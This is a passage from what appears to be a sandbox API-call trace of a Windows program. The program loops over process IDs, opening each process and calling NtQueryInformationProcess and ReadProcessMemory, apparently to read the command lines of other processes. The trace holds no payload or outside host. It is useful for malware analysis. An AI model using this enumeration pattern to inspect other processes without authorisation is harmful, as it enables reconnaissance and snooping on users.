ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.468] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x356020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.468] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.468] malloc (_Size=0x62) returned 0xeb6700 [0351.468] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xeb6700, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6700*, lpNumberOfBytesRead=0x0) returned 1 [0351.469] free (_Block=0xeb6700) [0351.469] CloseHandle (hObject=0xa9c) returned 1 [0351.469] _ui64tow_s (in: _Value=0x1048, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4168") returned 0x0 [0351.469] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4168") returned 4 [0351.470] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.470] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.470] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1048) returned 0xa9c [0351.471] GetLastError () returned 0x0 [0351.471] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.471] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x24c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.471] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.471] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462690, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.471] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462258, lpBuffer=0x5ec5a0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.471] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.472] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.472] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x24c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.472] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x461c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.472] malloc (_Size=0x84) returned 0xe883f0 [0351.472] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4622d4, lpBuffer=0xe883f0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe883f0*, lpNumberOfBytesRead=0x0) returned 1 [0351.473] free (_Block=0xe883f0) [0351.473] CloseHandle (hObject=0xa9c) returned 1 [0351.473] _ui64tow_s (in: _Value=0x1050, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4176") returned 0x0 [0351.473] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4176") returned 4 [0351.473] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.473] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.474] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1050) returned 0xa9c [0351.475] GetLastError () returned 0x0 [0351.475] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.475] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x322018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.475] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.475] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.475] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.475] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.476] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.476] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x322020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.476] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.476] malloc (_Size=0x6a) returned 0xea8ba0 [0351.476] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a22ba, lpBuffer=0xea8ba0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ba0*, lpNumberOfBytesRead=0x0) returned 1 [0351.476] free (_Block=0xea8ba0) [0351.477] CloseHandle (hObject=0xa9c) returned 1 [0351.477] _ui64tow_s (in: _Value=0x105c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4188") returned 0x0 [0351.477] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4188") returned 4 [0351.477] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.477] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.478] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x105c) returned 0xa9c [0351.478] GetLastError () returned 0x0 [0351.478] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.478] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.478] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.478] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e26b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.478] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2258, lpBuffer=0x5ec5a0, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.479] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.479] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.479] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.479] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.479] malloc (_Size=0x8e) returned 0xec75c0 [0351.479] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e22de, lpBuffer=0xec75c0, nSize=0x8c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec75c0*, lpNumberOfBytesRead=0x0) returned 1 [0351.480] free (_Block=0xec75c0) [0351.480] CloseHandle (hObject=0xa9c) returned 1 [0351.480] _ui64tow_s (in: _Value=0x1068, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4200") returned 0x0 [0351.480] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4200") returned 4 [0351.480] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.480] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.481] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1068) returned 0xa9c [0351.481] GetLastError () returned 0x0 [0351.481] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.481] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ab018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.481] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.482] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.482] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.482] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.482] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.482] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ab020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.482] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.483] malloc (_Size=0x66) returned 0xeb6310 [0351.483] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f22b6, lpBuffer=0xeb6310, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6310*, lpNumberOfBytesRead=0x0) returned 1 [0351.483] free (_Block=0xeb6310) [0351.483] CloseHandle (hObject=0xa9c) returned 1 [0351.483] _ui64tow_s (in: _Value=0x1080, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4224") returned 0x0 [0351.484] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4224") returned 4 [0351.484] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.484] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.485] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1080) returned 0xa9c [0351.485] GetLastError () returned 0x0 [0351.485] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.485] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x34f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.485] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.485] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e26f0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.485] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2258, lpBuffer=0x5ec5a0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.485] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.486] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.486] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x34f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.486] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.486] malloc (_Size=0xa2) returned 0xe95f20 [0351.486] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e22f2, lpBuffer=0xe95f20, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe95f20*, lpNumberOfBytesRead=0x0) returned 1 [0351.486] free (_Block=0xe95f20) [0351.486] CloseHandle (hObject=0xa9c) returned 1 [0351.487] _ui64tow_s (in: _Value=0x1088, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4232") returned 0x0 [0351.487] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4232") returned 4 [0351.487] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.487] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.488] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1088) returned 0xa9c [0351.488] GetLastError () returned 0x0 [0351.488] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.488] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b6018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.488] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.488] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.488] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d2258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.489] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.489] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.489] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b6020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.489] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.490] malloc (_Size=0x6a) returned 0xea8e20 [0351.490] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d22ba, lpBuffer=0xea8e20, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8e20*, lpNumberOfBytesRead=0x0) returned 1 [0351.490] free (_Block=0xea8e20) [0351.490] CloseHandle (hObject=0xa9c) returned 1 [0351.490] _ui64tow_s (in: _Value=0x10dc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4316") returned 0x0 [0351.491] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4316") returned 4 [0351.491] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.491] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.492] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10dc) returned 0xa9c [0351.492] GetLastError () returned 0x0 [0351.492] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.492] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.492] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.492] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.492] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.493] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.493] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.493] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.493] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.493] malloc (_Size=0x72) returned 0xea92a0 [0351.493] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4722c2, lpBuffer=0xea92a0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea92a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.494] free (_Block=0xea92a0) [0351.494] CloseHandle (hObject=0xa9c) returned 1 [0351.494] _ui64tow_s (in: _Value=0x10e4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4324") returned 0x0 [0351.494] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4324") returned 4 [0351.494] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.494] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.495] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10e4) returned 0xa9c [0351.495] GetLastError () returned 0x0 [0351.495] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.495] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c1018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.495] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.496] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x482660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.496] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x482258, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.496] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.496] NtQueryInformationProcess (in: ProcessHandle=0xa9c, 